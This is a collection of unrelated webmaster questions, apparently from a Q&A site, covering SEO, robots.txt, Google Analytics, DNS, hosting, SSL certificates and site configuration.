Does favicon have any impact on SEO?

I'm looking for advice about favicons and their impacts on search engines. Recently I noticed a site called andriasang which changes its favicon every time you load another page without losing overall recognition of the favicon style. I'd like to incorporate this into my site as well but am I taking any SEO risks here?


Moving RewriteBase rule in htaccess to httpd.conf

I'm now working in a server environment where I can access and edit httpd.conf, which is preferable from a performance and a revision control standpoint. I have a few sites (they are Drupal) running in subdirectories along the lines of dev.blah.com/yourname, dev.blah.com/anothername, dev.blah.com/anotherdev. Right now they have a rewrite rule along the lines of RewriteBase /yourname in each of their htaccess files. This doesn't work in httpd.conf and some of the documentation I've been reading says Rewritebase is bad to put in httpd.conf anyway. Any insight into the right approach would be greatly appreciated.


How to measure the download and upload speed from my PC to a website?

There is an upload function on a website and I want to measure the upload and download speeds from my PC to the website.


If I use "noindex" on my blogs category pages should I add "nofollow" to the posts inside that category

Lets say I will use "noindex" on my blogs category pages Each post has breadcrumb navigation like: Home > Category Name > Post Name If category has no index, I should add a rel="nofollow" to the link towards the category. I mean there is no need to parse link juices for a cateogry which will not be indexed. This way, the posts from my category will pass link juices only to my index page. Right? What do you think?


Uploading a file automatically for speed test?

I am building a Web UI for a device for internet connection and one of the requirements in it is a speed test. I know the basic concept of how speed test works. A file is downloaded for a limited time then the same file is uploaded again and the speed is tracked at regular intervals. Downloading the file is not an issue, but how am I supposed to upload the file without the client knowing that the file is getting uploaded? I've read through a lot of documentation, but I'm still not able to get the answer to how I will upload the file from clients machine without asking him to select the file.


Adding my blog to my website

Hi I've got a blogspot blog. I want to display my posts in my HTML-Based website. What should I do? I've already tried adding it as RSS but failed. I want everything to look natural. I don't want my visitors to notice that I'm writing these in blogspot. Please help


Azure Management from Wordpress

Microsoft has up to 3 additional slots aside from "production" now for Azure websites. I wanted to write a management page in php for allowing content administrators to swap between staging and production environments. One issue is that Azure websites do not work the same as Azure services in that the shared certificate store isn't there (it's strictly for handling HTTPS SSL certs) and after reviewing the method createServiceManagementService described here: http://azure.microsoft.com/en-us/documentation/articles/cloud-services-php- how-to-use-service-management/#Connect It seems that not only do you have to have the private key certificate (.pem) on the file system, there is no provision for a password to secure it. Does anyone have any idea on how to resolve this ? Would it be possible to build a stream wrapper that would read from a pfx blob storage and supply temporarily to createServiceManagementService to avoid having to keep a non secure .pem on the file system? I have searched a bit and did not find anything.


Are there any industry standards for referring to specific aspects of a web page?

Some specific examples I can think of :   * Should you say "carousel" or "slider"?   * "main navigation" or "top navigation"?   * "background image" or "background skin"? "Header" and "Footer" are the only ones I can think of having any kind of standard due to semantic html. Most other page features seem to have multiple ways to refer to them.


Looking for a rapid way to map web-app functionals, suggestions?

Not looking to for interface design tools, more a tool to document systems, methods, functions, relationships, etc. Never used anything like UML, but if that's your suggestion, please point me in the direction of a way to rapidly start using it in a way that does not take a month to deploy, and 2-5 days to train others on.


How to remove an old ip address from my connection script?

How can I remove the old ip address from my connection script? Just now my site show: > Error establishing a database connection. I am using wordpress on mixedsoft.com (remote sql issues)


Pure CSS menu generator

I've been looking for hours for pure css, no js, menu creation software. All that I've found have either used js or did not have drop-down sub-menus. I have found one, but it's quite pricey for me and does more than I really need (although I do like it): css3menu.com Does anyone know of a good one? Thanks   Sean Gordon


How many months I have to wait to place google ad in my site

How many months I have to wait to put google ad in my website, and my website is three month old. Now have visitors of about 5000+ unique visitors/month. My region is India, somebody told me that for Indian website must have six months old. Also I have an doubt whether the site age is calculated my domain creation date or from site release date.


Templates for forms, tabs etc? - Patterntap alternatives

I used to find http://www.patterntap.com quite useful to get inspiration to design forms, tabs, and other web elements etc. Unfortunately after the ZURB acquisition of Patterntap now they enforce you to sign in with your Twitter account in order to simply view larger images of patterns provided by the crowd. So in some way it's not free anymore. Do you know of **alternatives to patterntap** that are free and you are not obliged to sign in?


Which domain registrar offers the most complete API?

I am looking for a domain registrar that offers an API that would allow changes like name servers to be made programmatically. GoDaddy do not seem to offer this, so I figured this might be a good forum to find out who does.


Is it possible to host a site over 3g?

I got to thinking about this for a while, is it possible to host a website over a 3g connection? not from a mobile device but from a full server, if you were to have it in a car, could you host the site from there? The only way I thought it possible was if port 80 traffic was forwarded to the ip address of the server from the 3g provider, and then obviously point the DNS address of the website to the specific tower?


Should I be looking for an alternative to Zen Cart as my business grows?

I created a business website for a family business which is growing. It's my family, and I'm a software developer, but I don't want to rebuild the wheels or be a shopping cart programmer. For this business, I need the web store to "just work", but... it gets complicated... There are two parts of this business website. One of them is driven by Wordpress and I use the awesome Thesis theme. This is modern, flexible, and saves me a lot of time from doing custom coding and styling. I couldn't be more pleased with this arrangement. The other part of the site is a Zen Cart store. It's administration and it's flexibility is frustrating and archaic Web 1.0. For the past few years, I keep hearing that the developers are working on a 2.0 version of Zen Cart, but they haven't communicated anything significant in the past few years other than to say, "When it's ready, we'll let you know." What I'm looking for in a cart, I would need to install 6-10 additional mods, and would need to do a lot of custom coding. I'm now willing to pay for a top-notch e-commerce solution for a small business that we can grow up into a larger business over time. Requirements:   * Extremely flexible shipping that let's us set up rules per product/category, tables of rates, calculated rates, max package weighs, etc. (flexibility like that available with CEON Advance Shipping Module for Zen Cart   * Coupons and gift certificates   * Manual order entry for phone orders   * Multi-channel support (We also sell on Amazon, eBay, use Google Base and we want to maintain one set of inventory and have it kept current)   * Decent SEO features   * Reviews and star-ratings on products   * Easy social networking features for sharing, following, liking, etc)   * Easy integration with AdWords and analytics tracking   * Modern and very usable product and store administration (Like I was saying, I'm spoiled by Wordpress and Thesis) At the end of the day, I don't care if it's a hosted solution or if I have to host it myself. I just want something that is going to stay up-to-date, regularly be maintained and improved, and if I have to update it, things like the one-click update present in Wordpress is something it has to have. Professional Webmasters, if you had to run a store / website, but you had to spend your time focusing on your sales and marketing efforts rather than diffing php files and copying and tweaking them to change even the slightest details of your site, what would you choose?


How can I find the administrator of a website?

The question above sums it up, but I will restate it here: What is a resource I can use to find the administrator of a website?


Free (Or Cheap) Alternatives For An SSL Certificate For Facebook Apps

In October (from what I remember) Facebook will require HTTPS connections to pages and app's that are hosted away from Facebook. At the moment, it comes up with a popup saying "do you want to turn secure browsing off". I think (as far as I know) that once October comes people won't be able to access these pages any more. Now, I know you have to pay for good SSL certificates. However, for a lot of clients this is just going to be a Facebook page, and not mission critical to their businesses. With this in mind, they may not want to pay for an SSL certificate. I was wondering if there are any free SSL certificates that could do the job? Even if there are no free ones, are there any cheap alternatives? Also, if you do use a free certificate, will it still work in the same way as a paid for certificate?


How to pass information across domains to ask for newsletter only once?

Lets assume following scenario, I have two sites:   * example1.com   * example2.com When user visits **1** there is a prompt "please signup to a newsletter". Same thing happens when user visits **2**. However when navigating from **1** to **2** I don't want signup form to be shown. * * * My first thought were 3rd-party cookies, but it seems that they are blocked / not working:   * http://stackoverflow.com/questions/4701922/how-does-facebook-set-cross-domain-cookies-for-iframes-on-canvas-pages?rq=1   * http://stackoverflow.com/questions/172223/how-do-i-set-cookies-from-outside-domains-inside-iframes-in-safari?rq=1 Another thought is to append `#noshow` for each URL but that would require some work - for instance a script that would intercept click / tap events and modify URL structure depending on the address. _(but that seems hacky)_ * * * I wonder if you know a robust well-established solution to this issue? Thanks


Domain name SEO: worth sacrificing shorter/cooler domain for keywords? trivrank.com vs triviarank.com

In terms of SEO, how beneficial might it be to go with triviarank.com for the extra "trivia" keyword? This is for a trivia website I am constructing that gives users ranks when they answer questions. The reason I originally went with trivrank.com was for the coolness of calling a user's rank "trivrank". It is also a tad shorter and half as many syllables. I realize triviarank.com may also be more memorable.


Is there an SVN UI for hosting server?

We are considering upgrading to either a dedicated or cloud server. What I would really like is for the hosting account to have SVN installed on it. With a UI that I can use. So when I make a change, I can create a branch on the hosting and develop on the private branch. Then when I get everything right, migrate that branch to the main site that everyone sees. And also be able to role back if I need to. I would like to have a UI in the site admin for this. Is there a hosting service that provides this? If it matters we were looking at rackspacecloud and we will definitely be using a LAMP (linux, apache, mysql, php) stack.


Background image strategies for a curved background

How would you handle a background image for a web page with a curve like the one below? Normally, I take a thin image and repeat it along the x-axis, but the curve negates that strategy as one side is lower than the other. Ideally, I'd like to have the lines continue along their current path (even on larger monitors) without having to use a huge image for the whole thing. Any tricks or suggestions to do this in a way that doesn't kill my page size? ![Curved background](http://i.stack.imgur.com/cyLoq.png)


How to know if any website is using Google Website optimizer for A/B testing? By viewing a source code. For what to look into view source which confirms that site is using Google Website optimizer


Account suspension on SMS

Hy Hello all, I have an idea to implement but I hate to copy if it is been used by any other website(s). My idea is about suspending an account using text SMS. The description follows. `When a user signs into his account he gets an text SMS saying "Hello Mr.X you have been logged into your account from IP xx.xx.xx.xx, If you are not the real user logged in send reply to this as BLOCK<space>15<space>random code.` So, here the user can suspend his account by sending a return SMS as BLOCK 15 to block his account for 15mins. This text SMS can terminate the user session and does not allow him to login for next 15mins even with correct username and password. Likewise he can suspend his account for any value of time and can release the same by sending UNBLOCKrandom code. Is this kind of feature used by any website? Please let me know if it is used. Else I wanna be the first person to implement it.


What requirements are necessary for a webhoster to host Diaspora*?

What do I need to get from a webhoster if I want to host my own Diaspora* seed? Do I just need some webspace with ruby on rails capabilities?


How can I alias domains to subdomains?

I have a main site with a bunch of subdomains created. Each subdomain is a blog and I want each blog to have its own domain name i.e. thisguy.com -> blog1.mainsite.com thatguy.com -> blog2.mainsite.com I bought the new domains and I set up the CNAME records as above to alias them to the appropriate subdomains. However, I get my hosts "a domain is pointing to one of our servers but we don't know anything about it" landing page. How can I set up these domains as aliases of my subdomains?


how to write seo-friendly titles where is no space ( in a column box )?

what is the best way to write long seo-friendly titles in sidebars?
Menu
     OR:
My long title, the very seo one
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Menu
      what else? thanks!


Upload image file: is compression on client side already possible?

When offering photo file uploading, usually the user will have badly compressed and huge (10+ megapixels) JPEG files from their cameras or phones. On the server side, these files will get re-compressed to something like 800x600px and JPEG quality 7 or 8. Is it (already) possible to do that re-compression on the client side? So that I would only need to transmit some 100kB (800x600px) and not 3 MB or more. Something like: (1) With javascript's new FileSystem API ( http://slides.html5rocks.com/#filewriter ) it would be possible to read the photo file's data into client side JS. (2) Then it would be necessary to re-encode the JPEG data, which is possible, but I counld not find any library for that (yet). Anybody knows such a library? (3) Last step would be to POST the re-compressed JPEG data to the server side for storage and get a URL to the stored photo file back from the server for inclusion into the client's HTML. I am looking for some jQuery plugin, other JS library or example web page that does this.


After adding *.xls to robots.txt how long will the results continue to show up in google

Is there an estimated amount of time before the document will not appear in google results? We have a public records document. **One** person raised a concern when they saw their "PUBLIC INFORMATION" on goolge. So, I've been tasked with removing the file from google searching. It's an xls file, so I can't add any meta tags to it. I want to know how long before it will be gone from google? Please feel free to enlighten me about the other search engines as well.


Google SEO tool that shows search questions based on keywords?

An SEO told me that he recently read of a Google SEO tool that shows actual QUESTIONS (rather than queries = Google keyword tool) that are typed into Google, based on the keywords one enters. Unfortunately, he could not remember the name of the tool nor where it was that linked to it. Since I run a Q&A site, such a tool would be extremely valuable to me for keyword optimization. Does anyone know of such a tool, or anything that is similar? Thank you in advance.


Display Business on Google Map

I want to be able to display my company on Google Maps. I have a places page set up. If you search for it Google will show my business with a red marker which links to my places page. I want it to display on the map all the time. Like the TM Lewin Shop in the example below. ![enter image description here](http://i.stack.imgur.com/UkxBw.png) Map Link How do I get it to do that. What does Google use to decide that. There are 3 business at our address. One of the companies is displayed on the map. Would that stop us displaying?


How can I get Google to index my PDF documents?

We are having troubles getting Google to index the PDF files in our site. There are about 50 PDF and range in size for 20 KB to a little under two megs. They are not protected, can be read anonymously, and inside of PDF Reader, you can search the document. They are listed in the SiteMap.xml. I can even look at the IIS logs and see Googlebot reading the PDF files, but, except for five, they are never included in the search results. If I do a filetye:pdf, only five PDFs showed up. If I search for text I know is inside a PDF, the PDFs never show up (except for the five that are indexed). Does anyone have any idea why the over 45+ PDF document are not being included in the index, even though they are in the sitemap and Googlebot is reading them?


Temporary redirect needs to detect the URL of original page request from a search engine then redirect again to that page

I've tried searching this an innumerable amount of times with different word combinations, can't seem to crack it. Apparently I do not know the right terms in this situation. When you come to my client's site, it needs to verify that you are 21 years of age of older. If you hit any page on the domain, it checks to see if the verified age cookie is set. If not, it takes you to a challenge page to give your date of birth, after which it forwards you to the index page (or a rejection page, if you answered incorrectly). The problem I have run into is as follows: If a user finds any one of the pages in a search engine, after they pass the age test, how do I send them back to page they were originally requesting? Example: User finds www.site.com/blog.php in google, after clicking the link, they are redirected to www.site.com/age_verify.php. After they pass the test, how do I send them back to www.site.com/blog.php instead of the default www.site.com? I'm flummoxed. I'm pretty sure I'm dealing with HTTP referrers, but I don't know in what capacity.


Question about web hosting speed

I started using a VPS with HostGator not long ago, they have 9 levels of VPS and I started out with level 3. I'm testing a page on the website and it doesn't take too long to load,   something like 2 second in my browser. But I feel that the webpage is very small, so it should load faster. So I tried downloading a 5 MB file from my VPS to my PC, I also tested the file on HostTracker.com, which let's you test download speeds for different places around the globe. The average speed was **88 KB/Sec** (both my PC and HostTracker) According to the HostGator FAQ: > We provide a Gigabit uplink with a guaranteed 20mbit connection. > > We traffic shape each container to 20mbit. We do not foresee a situation > when we would not meet the 20mbit guarantee without the stability of the > entire server being affected. > > If the server does have an outage, not including regular maintenance, we > will offer a prorated credit for the amount of downtime. From my calculation 20Mbit means 2.5 MB (divided by 8),   if it's supposed to download at 2.5MB/s than it means there's a huge difference here? The questions are:   1. Is my calculation correct, is the file really supposed to download at 2.5 MB/s? I realize not all PCs have a 2.5MB/s connection, but today most do, and I know I do.   2. Is this some kind of error? should I contact the hosting company?   3. When they write 20mbit connection it means 20mbit/sec right? can they mean something else? Thank you a lot in advance! fiftyeight


Does the domain owner get contacted if someone else back-orders the domain?

I'm trying to purchase a domain name that I like. I noticed that the domain is about to expire and has only been registered for a year now, Nothing really shows on the page when going to the site. It's not a very common domain name but I like it and wanted to know if back-ordering it notifies the current owner that someone else back-ordered their domain?


How to add Google Translate Web Element to site without having to drop code into every single page?

To add Google's website translator to your website Google's instructions say that you must drop the code snippet into the body of **_every_** web page that you would like to be translated. For webmasters managing multiple pages, is there a solution for dropping the code just once, and enabling the translator (and specified default language) for every webpage?


Things we can do with VPS Packages

I am planning for purchase of VPS Package. Beside Webspace hosting, what other features can we provide to our customers?


Is a cloud server enough for a video converting service?

I was wondering if my cloud server can do it , or I must have a dedicated server .. It's a service for for video converting , the specifcations of the server now is medium , but as the member number grows , I can upgrade RAM /CPU cores and Bandwidth ... I'm using a job queue server , that runs 5 converting at a time .. so , the server won't be overloaded .... Please advise me !


Translate Google Analytics ID into Report URL

I am working on an administration panel where the users can enter the Google Analytics ID for the site they are logged into. I'd like to present a link to the Google Analytics Report to the admin user in the admin panel as well, but I don't see how I can translate a tracking ID to a report URL. So it would be like: `http://analytics.google.com/report/[Goggle Analytics ID]` Does this exist?


How to interpret number of URL errors in Google webmaster tools

Recently Google has made some changes to Webmaster tools which are explained below: http://googlewebmastercentral.blogspot.com/2012/03/crawl-errors-next- generation.html One thing I could not find out is how to interpret the number of errors over time. At the end of February we've recently migrated our website and didn't implement redirect rules for some pages (quite a few actually). Here is what we're getting from the `Crawl errors`: ![enter image description here](http://i.stack.imgur.com/PjmhJ.png) What I don't know is if the number of errors is cumulative over time or not (i.e. if Google bots crawl your website on 2 different days and find 1 separate issue on each day, whether they will report 1 error for each day, or 1 for the 1st, and 2 for the 2nd). Based on the `Crawl stats` we can see that the number of requests made by Google bots doesn't increase: ![enter image description here](http://i.stack.imgur.com/VXowF.png) Therefore I believe the number of errors reported is cumulative and that an error detected on 1 day is taken into account and reported on the subsequent days until the underlying problem is fixed and the page it's crawled again (or if you manually `Mark as fixed` the error) because if you don't make more requests to a website, there is no way you can check new pages and old pages at the same time. **Q: Am I interpreting the number of errors correctly?**


Unindex google code svn repository content from google index

I developed a small web site and saved the code to google code repository. Everything has been running smoothly for a while until results from google code svn repository started showing up before the results from the actual website. Is there any way I could stop google from indexing google code repository content or at least make its rank lower than the web site? I am not talking sophisticated seo techniques but rather some simple settings if there are any.


Virtualmin cannot connect to MySQL database

I have a VPS running Webmin/Virtualmin. I host multiple domains, one of which is a Drupal 7 website that uses a MySQL database. Yesterday I went to 'Manage' the database and found that I recieved the following error `Lost connection to MySQL server during query` and that I can't access it in anyway. I wondered whether it was because my version of MySQL was out of date (it is 5.1.17) so before updated, I tried to back up the database by going to Webmin >> Servers >> MySQL Database Server >> Backup Databases - only to receive the following page: > Database backup failed : mysqldump failed : > > mysqldump: Got error: 2013: Lost connection to MySQL server during query > when using LOCK TABLES Database backup failed : mysqldump failed : > > mysqldump: Got error: 2002: Can't connect to local MySQL server through > socket '/var/lib/mysql/mysql.sock' (111) when trying to connect Database > backup failed : mysqldump failed : > > mysqldump: Got error: 2002: Can't connect to local MySQL server through > socket '/var/lib/mysql/mysql.sock' (2) when trying to connect Successfully > backed up 1348 bytes from database test to file /home/test.sql. > > Scheduled backup for database left disabled. I have set 'Allow big tables?' to Yes and the maximum packet size to 5 MB in the MySQL Server Configuration but I still receive the errors. The file size of the database is only 156 MB, it has 190 tables and it is likely to hold much more data than it does now. Does anyone have any advice? I'm running CentOS. **UPDATE:** Since posting this question, I have been in contact with my hosting company who advised be to upgrade MySQL. I'm now running version 5.5.38 and have exactly the same problem. I installed the latest version of phpMyAdmin and have some strange behaviour. When I try to view the database, it says that the session has timed out but when I log back in no databases appear and I'm told that there are no tables in the database I just clicked on.


How can I get my Wiki to have the same in-built referencing tools as Wikipedia?

My Wiki, is still very much in its infancy, and I would like to know how I could replicate the referencing tools (like the autofill options for PMIDs and DOIs) and import the referencing templates (i.e., `cite journal`, `cite web`, `cite news`, `cite book`, _etc._ ). I have tried copy-pasting to my Wiki using the source code, but that did not work, see for instance this page where I have tried to utilize the `cite journal` template. I am especially interested in the `cite journal` template. If any additional details are required please feel free to ask me in the comments.


Unicode icons in <title>

If I want to put various unicode icons in my `<title>` for the sake of looks, could that hurt my SEO? Are there particular classes of unicode (code ranges) that offend search engines? I've noticed that many music and video playing sites including YouTube have started using the PLAY icon in their titles.


What is PageRank and how do I get it?

I've heard Google's algorithm is based on PageRank, and that it has something to do with the links to your site. Can someone explain it, and more importantly, how I can increase my site's PageRank?


Recovering domain name from a person I can't find

I have a problem with one domain and I have no idea how to go about it. I am volunteering for a small charity in Sheffield (UK), more specifically I am redoing their website. A while ago (few years) there was one guy who made that website for them, sorted out a free hosting with another charity, bought domain name etc. Since the domain name is registered in his name, and he disappeared and we have no way of finding/contacting him, we can't move it to different hosting or do virtually nothing about it. Somehow the domain is being renewed every year, we know which domain registration service provider it is registered with, we know the guys name, and that's about it. How would we go about re-registering that domain in the charity's name, instead of that guy, is that at all possible? If we happen to get in touch with him, what should we ask for?


WordPress page title repeated in SOME pages

I have created a Wordpress site and titles were working just fine. Then, some time and plugins installed later, I noticed that in SOME pages I get the title repeated 2 times. Example of wrong page title: **Contact - NAME | NAME** Example of normal title: **Our Services | NAME** Now, if I go to General Settings and change title it will change both, no improvement. SEO by Yoast has the option to reset page titles, but that just removes all titles leaving the current URL as page title, so no good either. Here is the code I originally had: `<title><?php wp_title(''); ?><?php if(wp_title('', false)) { echo ' | '; } ?><?php bloginfo('name'); ?></title>` Here is the code I am using now: `<title><?php wp_title('|'); ?></title>` **To sum up, I think somewhere in the database there's a wp_title repeated: once using '-' as separator, another one (the current one) using '|'.** Any help will be most appreciated, thanks!


Need help with mybb forum robots.txt file

I have installed the mybb forum in subdomain of my site. The link to my site is here. but when I search Google even the pages that are disallowed are also index. What's wrong with the _robots.txt_ file?               User-Agent: *     Disallow: /captcha.php     Disallow: /editpost.php     Disallow: /member.php     Disallow: /misc.php     Disallow: /modcp.php     Disallow: /moderation.php     Disallow: /newreply.php     Disallow: /newthread.php     Disallow: /online.php     Disallow: /printthread.php     Disallow: /private.php     Disallow: /ratethread.php     Disallow: /report.php     Disallow: /reputation.php     Disallow: /search.php     Disallow: /sendthread.php     Disallow: /task.php     Disallow: /usercp.php     Disallow: /usercp2.php     Disallow: /calendar.php     Disallow: /*action=emailuser*     Disallow: /*action=nextnewest*     Disallow: /*action=nextoldest*     Disallow: /*year=*     Disallow: /*action=weekview*     Disallow: /*action=nextnewest*     Disallow: /*action=nextoldest*     Disallow: /*sort=*     Disallow: /*order=*     Disallow: /*mode=*     Disallow: /*datecut=*


Issue tracking multiple domains with Google Analytics

I have 2 domains `mydomain.com` and `mydomain.net` which I'm trying to track with the same `GA` code. Here are the options I turned on:               Subdomains of mydomain   ON     Examples: www.mydomain.com -and- apps.mydomain.com -and- store.mydomain.com          Multiple top-level domains of mydomain  ON     Examples: mydomain.uk -and- mydomain.cn -and- mydomain.fr      Which gave me the following code:                 _gaq.push(['_setAccount', 'UA-123456789-1']);       _gaq.push(['_setDomainName', 'mydomain.com']);       _gaq.push(['_setAllowLinker', true]);       _gaq.push(['_trackPageview']);      In this help page I read that `_setDomainName` must be changed for each domain which I did:   -if you go to `mydomain.net` you get `_gaq.push(['_setDomainName', 'mydomain.net']);`   -if you go to `mydomain.com` you get `_gaq.push(['_setDomainName', 'mydomain.com']);` When I generate traffic on both `mydomain.dom` and `mydomain.net` and watches `GA` push requests made with `firebug` I can see requests generated for both domains and the parameter called `utmhn` has the proper domain value (which matches that of `_setDomainName` and the browser address bar). However when I monitor the realtime statistics under `Home->Real- Time->Overview` I see `pageviews` for `mydomain.net` **BUT NOT** for `mydomain.dom` :( **What am I missing to properly track both domains?** _PS:in the help page I mentioned they talk about setting up `cross links` which I didn't do for now as my understanding is that it shouldn't be needed to get what I'm trying to do to work. Also I want to mention that I do not have any tracking code for any of these 2 domains other than the one I mentioned._


Should I Include RSS Feed URLs in an XML Sitemap?

Simple question - Should I Include the RSS Feed URLs in my site's XML Sitemap? I am NOT asking whether I should USE an RSS Feed AS an XML sitemap, but rather, should I include the URLs to the various RSS feeds on my site in my XML Sitemap? I am looking for both general advice, and/or pointers to any relevant documentation supporting an answer to my question. Thanks in advance.


Images not being cached in Google

I have a banner printing site and my site is on top position in Google, but I have one problem - the images (Banners) of my site are not cached in any search engine.


Right canonical pages for encylopedia-style site

I have a website that contains a lot of short (150 word) descriptions of key concepts. The concepts are organised hierarchically so a description of Cheese will be a subsection under the heading "Milk products" etc. The problem is that the concepts are generally written so that they are best read as a page with whole sequence of concept descriptions. It does not make as much sense to read just one individual description (they don't quite stand on their own). However, the sequence changes depending on the user (an expert cheesemaker will want to read about detailed descriptions of Epoisse, while a non-expert just needs to read some basics on cheese making).   1. What is the best way to choose the canonical pages for this?    2. If it is to put each individual description as the canonical page, how I can make subsections of the pages showing a sequence of descriptions have a canonical link to the pages showing just one description? As far as I know the canonical properterty works only for page header.    3. And is having each individual description as the canonical page really the best setup given that users will generally prefer sequences of descriptions?


Why do Blogger pageview stats and AdSense pageviews differ?

I run many blogs for online earnings but my blog in blogger page views:               Total Pageviews     90,085       And that same blog page views in Google AdSense _Total Pageviews 19,347_ are different why? they reduced show for earnings? My Google AdSense Code:               <script type="text/javascript"><!--          google_ad_width=336;     google_ad_height=280;     google_ad_format="336x280_as";     google_ad_type="text_image";     google_ad_host_channel="0001+S0011+L0007";     google_color_border="CCCCCC";     google_color_bg="FFFFFF";     google_color_link="000000";     google_color_url="336699";     google_color_text="000000";     //--></script>


Looking for a user suggestion script

I'm looking for a script that would easily fit or be customized to work as a suggestion script where users can submit suggestions anonymously and have them be displayed on one page and either upvoted or downvoted like digg or reddit without user accounts. Basically i want users to be able to submit an idea and the other users like or dislike it and no one is track for voting, commenting or submitting.


Google Analytics source

In my Google Analytics dashboard I have below referrer, can you please tell me where these came from?               localhost:16114 / referral     localhost:22218 / referral      Is it that someone trying on their system locally and clicking from that page to redirect to my site or what? also _Bounce Rate_ of traffic from there sources is 100%! Is it some kind of bot or what?


Are there some permalink typology better than others for SEO?

I am pretty new in WordPress and on my blog I am using permalinks. I have seen that there are 5 topologies of permalinks and I don't know if some types are better than others for search engines for indexation. At the moment I am using this typology:               example.com/2013/04/22/articolo d'esempio/      that is composed by: the base URL of my blog, the complete date of the post and the post name. So I have the URL of posts like this:               example.com/2013/04/18/2-hello-world-in-spring-mvc/      Is this a good URL or are there some other permalink typologies that are better for search engine indexing (or for some other reasons)?


Should I be concerned about hAtom tags on my blog?

I am using a theme that automatically adds `hatom-entry`, `hatom-feed` classes on my WordPress blog. I read that such tags/classes should be used for syndicated content. Anyway, then I ran a Rich Snippet Tool, which threw a "HAtomfeed" error. So I removed a "hfeed" div tag. Now, should I be concerned? Can this cause any problems? I still have a couple of these classes (listed below), and I just hope they do not effect my site's ranking. For now, these are the tags the Rich Snippet Tool has detected:   * hatom-feed   * hatom-entry   * entry-title   * entry-content   * published   * author   * fn   * person-name   * url Edit: All the content on this weblog is unique and written by me and others. Thought I'd share that.


Is it possible to do shipping like this in Magento?

What I need is to have Magento charge a flat rate shipping for orders under a certain amount, and free shipping for orders over that amount. It's like having two flat rates. I have tried setting a flat rate and free shipping together but it just gives the option to the customer to chose between them via a radio button; which is not what I need.


How to remove duplicate content, which is still indexed, but not linked to anymore?

A bug in the tool, which we use to create search-engine-friendly URLs changed our whole URL-structure overnight, and we only noticed after Google already indexed the page. Now, we have a massive duplicate content issue, causing a harsh drop in rankings. Webmaster Tools shows over 1,000 duplicate title tags, so I don't think, Google understands what is going on.               Right URL: abc.com/price/sharp-ah-l13-12000-btu.html     Wrong URL: abc.com/item/sharp-l-series-ahl13-12000-btu.html (created by mistake)      After that, we ...   * Changed back all URLs to the "Right URLs"    * Set up a 301-redirect for all "Wrong URLs" a few days later  Now, still a massive amount of pages is in the index twice. As we do not link internally to the "Wrong URLs" anymore, I am not sure, if Google will re-crawl them very soon. What can we do to solve this issue and tell Google, that all the "Wrong URLs" now redirect to the "Right URLs"? Best, David


Sites bandwidth exceeded but no increase in traffic?

One of my clients sites has exceeded its 6000mb monthly bandwidth quota. I checked Analytics and the site has not had an unreasonable amount of visitors (only 700 in the last month). The site has no hosted videos or other large content. Would anyone know what could be causing this? ### UPDATE: OK I determined that it is pretty much a DDOS attack. Had a look at the logs on cPanel and indeed there was one IP address that was accessing 20 - 30 files (not necessarily pages) a minute. I blocked this IP address in cPanel. Checked the logs a few minutes later and saw another different IP address was doing the same thing. Did some Googling and found a service called CloudFare apparently aided in blocking them. I signed my site up to them. Has anyone had any experience or success with them?


Best compromise for low DNS TTL for failover, versus high TTL to reduce DNS lookup time

We're looking at lowering our DNS A record TTL to around 1 minute, to enable us to quickly switch to a backup server should the main one fail (whether this is automatic, using AWS Health Checks etc, or manual, is largely irrelevant to this question). I'm aware this will put a significantly higher load on the DNS server, but this isn't an issue. What I'm concerned about it how the total site load time will be increased, because of the additional overhead of having to look up the DNS records with a lot more requests. How to I balance these issues? I'm obviously disregarding factors outside my control, such as ISP DNS caching.


Why doesn't this web crawler obey requests to stop crawling my pages?

I have a hidden page that verifies internal payments from PayPal. The page has the following in its HTTP headers:               X-Robots-Tag: noindex, nofollow      But once in a while I see this in the page logs:               HOST: 208-115-111-71-reverse.wowrack.com     USER_AGENT: Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)      What is that `wowrack.com`? And how do I stop it crawling my pages?


SSL Certificates for a Citrix CAG - How to move from Thawte to GoDaddy

I have a citrix CAG which currently uses Thawte's certificate. What is the process to start using GoDaddy's SSL certificate?


Trying to resolve my DNS records to use mandrill

I've got myself confused over DNS records and need to understand what I need to do first for my situation. My domain name is hosted by one provider. The nameservers are currently pointing to the webhosts name servers (1and1) My webspace is hosted by 1and1 My email is hosted on an exchange account and the 1and1 has a configuration set to the exchange account I am in the process of moving my domain name to 123-reg (where I have other domains) so I can close the account with the domain host. I now want to configure a subdomain to handle website email through Mandrill. It appears I'm going to have problems configuring the DNS settings via 1and1. Mandrill suggests creating a subdomain to leave my main email for this domain intact. So how to I get out of this spaghetti I appear to have created. Should I use a DNS provider away from 1and1 (research suggests 1and1 are less than flexible with name server configuration), then point the records to the domain space? Or use 123-reg as a nameserver and do the settings there? What is the best practice approach? I want to make this as clean as possible Thank you


Minimize embedded youtube video to just listed to sound

Is it possible to embed a youtube video and hide video display and just show the player controls? That would be sufficient for playing songs. (I know, it would be a waste of bandwidth ;-) ...)


How to get browsers to only download CSS/Javascript when it changes?

I had an epiphany earlier when reading codinghorror. On a content website (blog/forum/website) the basic things rarely change if at all. So I was wondering if there was a way to cache them and only re-download if something changes? I guess there's two questions here:   1. Do browsers cache CSS/Javascript, if so how long, can I change how long?    2. Do I have to write a simple Javascript program that checks if the CSS/JS changed and download if necessary or is there a framework that handles it?


Download/submission directories are dead? Are they good for SEO?

We have just released a new major software product version. In the past if you wanted visibility you would create a standardized pad file and you would submit it to hundreds of directories or you used web service that would do that for you. These directories would then serve as first incoming links to your web site. How about today? I think download directories are pretty much dead? Do you think this is still good SEO approach today? Are these software download directories useless?


.htaccess Forward all mail subdomains to /webmail/

I would like to write a .htaccess rewrite command that takes any url with a subdomain mail and forwards them to whatever domain included that subdomain with /webmail at the end. e.g. mail.zane.com would forward to zane.com/webmail mail.prowebmasters.com would forward to prowebmasters.com/webmail. In short, I have a master domain with my host with addon domains in folders on the master domain. Any time I type mail.site.com it is forwarding to the index.html of the master site. Instead of doing that I want the sites to open /webmail/ of the site.


PHPFox caching?

I run a big phpfox website and I currently have server setup as follows: nginx (reverse proxy) --> Apache for dynamic content are there other ways to cache content with phpfox? I can't use memcache it's a shared environment.


Will google penalize my pages if I will hide by default the main page content?

I've read some similar questions but the mine is about a particular case. I need to hide the "main page content" as default, visible on user's request using javascript. This is lot of text - about 500-1000 words for every document. The secondary page content (schematic data, lists, images) will be visible as default. That's the solution that fits the needs of my customer. Will a site made like this be penalized? EDIT: The "main body text" is the text that should appear in search engine's results and it contains the keywords.


Embedding Quicktime Player behaves differently on XP/OSX/Windows7

